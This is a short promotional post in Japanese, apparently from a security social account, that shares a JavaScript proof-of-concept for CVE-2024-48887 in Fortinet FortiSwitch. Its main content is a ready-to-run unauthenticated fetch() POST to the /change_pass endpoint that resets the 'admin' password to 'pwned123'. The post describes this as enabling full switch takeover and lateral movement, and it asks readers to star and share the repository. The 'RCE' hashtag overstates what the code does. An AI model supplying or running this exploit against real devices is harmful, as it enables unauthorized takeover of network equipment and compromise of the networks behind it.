CVE-2024-48887-FortiSwitch-Exploit

🚨 FortiSwitch CVE-2024-48887 PoC (JavaScript) 🚨

🔥 軽量なJavaScriptスニペットを公開しました。脆弱性のあるFortinet FortiSwitch GUIエンドポイントで、不正なパスワード変更がどのようにトリガーされるかを示しています。

🛠️ 脆弱性について: 攻撃者は、認証なしで単純なfetch()リクエストを作成し、/change_passエンドポイントのバリアントを直接標的として、パスワード設定を操作できます。

fetch('http://target-ip/change_pass', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    username: 'admin',
    newpass: 'pwned123',
    confirm: 'pwned123'
  })
})
.then(res => res.text())
.then(data => console.log('Response:', data));

💡 影響: スイッチの完全な乗っ取り、横移動の可能性、ネットワークの侵害。

📁 リポジトリ: github.com/yourusername/CVE-2024-48887-FortiSwitch-Exploit ⭐ リポジトリにスターをつけて、インフォセク仲間と共有してください！

📢 完全な解説とリアルタイムアラートは @cybersecplayground でフォローしてください

#JavaScript #infosec #bugbounty #CVE2024 #Fortinet #FortiSwitch #RCE #exploitdev #cybersecurity #PoC #github #OSINT #cybersecplayground